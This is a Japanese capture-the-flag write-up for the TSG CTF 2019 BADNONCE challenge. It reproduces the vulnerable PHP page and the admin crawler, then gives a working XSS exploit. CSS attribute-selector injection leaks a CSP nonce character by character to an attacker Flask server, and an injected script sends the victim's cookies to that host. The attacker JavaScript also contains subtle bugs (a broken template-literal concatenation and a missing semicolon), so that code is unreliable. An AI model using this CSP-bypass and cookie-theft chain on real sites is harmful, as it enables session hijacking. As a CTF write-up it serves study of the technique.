TSG CTF 2019 Writeup - BADNONCE Part 1

問題

Reining in the Web with ...?

http://35.187.214.138:10023/?q=XSS

Please send the flag1.

解き方

問題の調査

与えられたページにアクセスするとそのページのPHPのコードが入手できる。

<?php
session_start();
$nonce = md5(session_id());
$_SESSION['count'] = isset($_SESSION['count']) ? $_SESSION['count'] + 1 : 0;
if ($_SESSION['count'] > 3){
    setcookie('flag2', null, -1, '/');
}
if (!isset($_GET['q'])){
    header('Location: /?q=[XSS]');
}
?>
<html>
    <head>
        <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?= $nonce ?>';">
        <title>BADNONCE</title>
        <style>.container{width: 80%;font-size: 17px;} .bold{font-weight: bold;} .note{font-size: 10px;}</style>
    </head>
    <body>
        <h1>BADNONCE</h1>
        <div id="container" class="container">
            <div id="crawler">
                <p>You can send me an URL from <a href="/submit/">here</a>.</p>
                <p>Administrators will check your link. <a href="/part_of_crawler.js">Here is the part of the crawler administrators use.</a></p>
                <p>This session id was used <?= $_SESSION['count'] ?> times :-)</p>
            </div>
            <div id="q" class="note">
                <p class="bold">This page uses Content-Security-Policy (CSP). Therefore it's safe from XSS! :-)</p>
                <script nonce=<?= $nonce ?>>
                               console.log('Welcome to the dungeon :-)');
                </script>
            </div>
        </div>
        <!-- Here is an injection point :-) -->
        <?= $_GET['q'] ?>
        <hr>
        <div>
            <h2>src of this page</h2>
            <?php highlight_file(__FILE__); ?>
        </div>
    </body>
</html>

ざっと見るとこんな感じ。

  • このページはXSSできるがCSPが設定されている
  • CSPはscript-src nonce-XXXのタイプ
  • CSPのnonceはmd5(session_id())で生成されている

また、このadminに任意のページにアクセスさせることができる機能もある。

f:id:iso0:20190505210213p:plain

そしてクロール機能のコードの一部も提供されている。

const puppeteer = require('puppeteer');
const flag1 = process.env.FLAG1;
const flag2 = process.env.FLAG2;

const current_host = process.env.CURRENT_HOST;
const url_base = process.env.APP_URL_BASE;
const timeout = parseInt(process.env.TIMEOUT);

const browser_option = {
    executablePath: 'google-chrome-stable',
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
    ],
};
const cookies = [
    {
        "domain": current_host,
        "expirationDate": 1597288045,
        "hostOnly": false,
        "httpOnly": false,
        "name": "flag1",
        "path": "/",
        "sameSite": "no_restriction",
        "secure": false,
        "session": false,
        "storeId": "0",
        "value": flag1,
        "id": 1
    },
    {
        "domain": current_host,
        "expirationDate": 1597288045,
        "hostOnly": false,
        "httpOnly": false,
        "name": "flag2",
        "path": "/",
        "sameSite": "no_restriction",
        "secure": false,
        "session": false,
        "storeId": "0",
        "value": flag2,
        "id": 1
    }];


/* ... */
const browser = await puppeteer.launch(browser_option);
try {
    const page = await browser.newPage();
    await page.goto(url_base, {
        timeout: 3000,
        waitUntil: 'networkidle2'
    });
    await page.setCookie(...cookies);
    await page.goto(url, {
        timeout: timeout,
        waitUntil: 'networkidle0'
    });
} catch (err){
    console.log(err);
}
await browser.close();
/* ... */

方針

flagはクローラーCookieに入っているが、Cookieの入手にはCSPを突破してJavaScriptを動かす必要がある。CSPの突破にはnonceを入手する必要がある。nonceは属性値であり、CSS Injectionを利用した属性値の窃取テクニックが使えそう*1

flagの入手

次のような手順でnonceを入手し、flagを得ることができる。

  1. 用意した罠ページのiframeに攻撃対象のページを読み込む。この際、攻撃対象のページにはnonceの1文字目を外部に送信させるようなCSSをインジェクションしておく。
  2. サーバーでnonceの1文字目を受信したら罠ページに対して2文字目を漏洩させる処理に移るよう指令を出す。
  3. 罠ページはiframeの攻撃対象のページを読み込み直す。この際、攻撃対象のページにnonceの2文字目を外部に送信させるようなCSSをインジェクションしておく。
  4. 1 〜 3を繰り返し、nonceが全て入手できたらそのnonceを使ってCookieを外部に送信させるJavaScriptをインジェクションした攻撃対象ページをiframeに読み込む。

コードにするとこんな感じ。

罠ページのhtml

<body><script src=a.js></script></body>

a.js

const sleep = msec => new Promise(resolve => setTimeout(resolve, msec));
const serverhost = 'YOUR HOSTNAME'

(async () => {
    const iframe = document.createElement('iframe')
    document.body.appendChild(iframe)
    let nonce = ''
    let inject

    while (true) {
        inject = `<link rel="stylesheet" type="text/css" href="http://${serverhost}/css?n=' + nonce + '">`
        iframe.src = 'http://35.187.214.138:10023/?q=' + encodeURIComponent(inject)
        while (true) {
            const response = await fetch(`http://${serverhost}/`);
            const resp = await response.text()
            if (resp !== nonce) {
                nonce = resp
                break
            }
            await sleep(100)
        }
        if (nonce.length === 32) break
    }
    inject = `<script nonce=${nonce}>(new Image).src='http://${serverhost}/?'+document.cookie</script>`
    iframe.src = 'http://35.187.214.138:10023/?q=' + encodeURIComponent(inject);
})();

サーバー

from flask import Flask, Response, request
from flask_cors import CORS

HOST = "YOUR HOSTNAME"
app = Flask(__name__)
CORS(app)
nonce = ""


@app.route("/css")
def css():
    resp = []
    non = request.args.get("n")
    for ce in "0123456789abcdef":
        resp.append(
            f'script[nonce^="{non}{ce}"] {{background:url("http://{HOST}/n?n={non}{ce}");}} '
        )
    return Response("".join(resp), mimetype="text/css")


@app.route("/n")
def n():
    global nonce
    if len(nonce) < len(request.args.get("n")):
        nonce = request.args.get("n")
    return "ok"


@app.route("/")
def index():
    global nonce
    return nonce

*1:具体的には過去のWriteupに書いてある。 https://0xiso.hatenablog.com/entry/2018/10/28/215226